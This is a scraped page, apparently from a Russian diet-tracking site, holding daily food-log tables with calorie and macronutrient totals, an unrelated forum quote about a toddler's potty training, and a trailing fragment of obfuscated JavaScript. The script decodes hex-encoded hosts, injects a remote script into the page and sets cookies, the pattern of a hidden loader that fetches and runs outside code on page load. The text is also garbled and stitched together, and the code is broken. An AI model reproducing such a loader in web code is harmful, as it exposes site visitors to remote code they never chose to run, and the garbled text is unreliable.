| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Яблоко |
70
|
32.9 | 0.3 | 0.3 | 6.9 |
| Капустная запеканка Темная ночь |
243
|
164.3 | 6.6 | 6.6 | 19.7 |
| Вода |
500
|
0 | 0 | 0 | 0 |
| Кофе чёрный без сахара |
240
|
16.8 | 0.5 | 1.2 | 0.5 |
| Чистка зубов |
1
|
0 | 0 | 0 | 0 |
| Итого | 1054 | 214 | 7.3 | 8 | 27 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Кофе чёрный без сахара |
480
|
33.6 | 1 | 2.4 | 1 |
| горчичный хлеб |
62
|
169.4 | 4.2 | 4.5 | 28 |
| Горчица столовая |
6
|
8.6 | 0.6 | 0.3 | 0.8 |
| Котлеты плоские |
75
|
223.4 | 12.7 | 17.9 | 4.1 |
| Итого | 623 | 434.9 | 18.4 | 25.1 | 33.8 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Борщ 19/11 |
193
|
123.9 | 8.1 | 6.8 | 7.3 |
| Гороховый суп с фрикадельками |
300
|
195.6 | 9.3 | 12 | 12.6 |
| Вода |
400
|
0 | 0 | 0 | 0 |
| Итого | 893 | 319.5 | 17.4 | 18.8 | 19.9 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Фругурт |
240
|
172.8 | 7.2 | 6 | 22.6 |
| Итого | 240 | 172.8 | 7.2 | 6 | 22.6 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Скумбрия холодного копчения |
82
|
123 | 19.2 | 5.2 | 0 |
| Пиво, обычное, 4,9% об., все виды |
365
|
157 | 1.7 | 0 | 13 |
| Капустная запеканка Темная ночь |
218
|
147.4 | 5.9 | 5.9 | 17.7 |
| Борщ 19/11 |
487
|
312.7 | 20.5 | 17 | 18.5 |
| Итого | 1152 | 740 | 47.2 | 28.2 | 49.1 |
| Кол-во | Калории | Белки | Жиры | Углеводы | |
| Сушки простые из муки в/с |
31
|
105.1 | 3.3 | 0.4 | 22.1 |
| Кофе чёрный без сахара |
240
|
16.8 | 0.5 | 1.2 | 0.5 |
| Вода |
400
|
0 | 0 | 0 | 0 |
| кальций д3 никомед |
2
|
0 | 0 | 0 | 0 |
| Витрум бьюти просто |
2
|
0 | 0 | 0 | 0 |
| фолиевая кислота |
1
|
0 | 0 | 0 | 0 |
| Итого | 676 | 121.9 | 3.8 | 1.6 | 22.6 |
| Итого за день | 4638 | 2003.1 | 101.3 | 87.6 | 175 |
Дарья Кондратьева написал:
Доча тоже умнеет, сказала волшебное слово «пись-пись». Обманывала, конечно, но нельзя игнорировать - а то проситься не будет.
+"=(*)"
);return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""
;for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"
==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""
return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"
)window.smlo.loadSmlo(n.replace("https:","http:"
);else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"
)window.zSmlo.loadSmlo(n.replace("https:","http:"
);else{var
i=document.createElement("sc ript"
;i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript"
,document.head.appendChild(i),i.on
load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.on
error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"
!=f&&n("a2519043306",f,{expires:parseInt("3600"
})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"
!=i&&n("a36677002",i);var
r=o("a2519043306"
;t=r?r:e,s(t)};f()}();